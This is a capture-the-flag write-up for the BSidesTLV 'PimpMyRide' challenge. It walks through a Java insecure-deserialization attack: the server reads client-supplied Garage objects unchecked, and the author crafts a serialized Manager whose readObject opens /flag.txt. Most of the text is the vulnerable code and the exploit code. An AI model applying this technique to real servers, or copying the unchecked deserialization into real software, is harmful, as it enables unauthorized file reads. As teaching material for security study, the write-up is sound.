PimpMyRide
By Yaakov Cohen

Let's start, we got a jar file garage.jar. We decompiled it with this site. You can find the files here.
We noticed that the jar file contained both the client's and the server's code.
@Parameter(names={"--listen"}, description="Starts Garage as a server")Let's take a look at the server code. We see that when the client chooses [3] Save garage the server serialize the garage object and sends it to the user:
else if (clientCommand.equalsIgnoreCase("3")) {
FileOutputStream fos = new FileOutputStream("garage");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(garage);
oos.flush();
Utils.sendGarage(myClientSocket, garage.toByteArray());
}
public class Garage implements Serializable
{
...
public byte[] toByteArray() throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(out);
os.writeObject(this);
return out.toByteArray();
}
}Then the user takes the garage byte array and saves it to a file called "garage":
else if (sentence.equals("3")) {
Utils.writeToSocket(clientSocket, sentence);
byte[] garageByteArray = Utils.receiveGarage(clientSocket);
FileOutputStream fos = new FileOutputStream("garage");
fos.write(garageByteArray);
fos.close();
}And when the client asks to [2] Load existing garage the client takes the garage file and sends it to the server:
FileInputStream fis = new FileInputStream("garage");
byte[] garageByteArray = Files.readAllBytes(new File("garage").toPath());
Utils.sendGarage(clientSocket, garageByteArray);Then the server takes that stream and serializes it to a garage object without performing any checks:
byte[] garageBytes = Utils.receiveGarage(myClientSocket);
ByteArrayInputStream in = new ByteArrayInputStream(garageBytes);
ObjectInputStream ois = new ObjectInputStream(in);
==> garage = ((Garage)ois.readObject());
ois.close();In the garage class we can see a private object private Employee garageManager; that is never set. In the the code flow of the garageManager class we can see that the function readObject has a custom implementation, this function will be executed when the object is serialized:
public class Manager extends Employee implements java.io.Serializable
{
private String closeMessageFile;
private String closeMessage;
public Manager() throws IOException
{
closeMessageFile = "close.txt";
logger = new FileLogger("log.txt");
closeMessage = null;
}
....
private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
in.defaultReadObject();
try {
if (closeMessage == null) {
java.io.File closeMessageFile = new java.io.File(this.closeMessageFile);
FileInputStream fis = new FileInputStream(closeMessageFile);
byte[] data = new byte[(int)closeMessageFile.length()];
fis.read(data);
fis.close();
closeMessage = new String(data, "UTF-8");
}
}
catch (IOException localIOException) {}
}
}If only we could create a garageManager and change closeMessageFile attribute from close.txt to /flag.txt...
Wait a second, we can!
So the plan is:
- Create a garage object with a modified
garageManager. - Send it to the server, in the serialization the
garageManagerwill read/flag.txtin thecloseMessageattribute. - Save the garage to a file.
- Submit the flag.
We modified garage object:
public class Manager extends Employee implements java.io.Serializable
{
private String closeMessageFile;
private String closeMessage;
public Manager() throws IOException
{
closeMessageFile = "/flag.txt";
logger = null;//new FileLogger("log.txt");
closeMessage = null;
}
....
private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
in.defaultReadObject();
try {
java.io.File closeMessageFile = new java.io.File(this.closeMessageFile);
FileInputStream fis = new FileInputStream(closeMessageFile);
byte[] data = new byte[(int)closeMessageFile.length()];
fis.read(data);
fis.close();
closeMessage = new String(data, "UTF-8");
}
catch (IOException localIOException) {}
}
}Created a new garage object:
public static void main(String[] args){
Garage garage = new Garage();
garage.setManager(new Manager());
FileOutputStream fos = new FileOutputStream("garage");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(garage);
oos.flush();
}Sent it to the server: [2] Load existing garage, and got the new garage object from server: [3] Save garage.
In the object file we can see the flag: BSidesTLV{I_Am_Inspector_Gadget}.
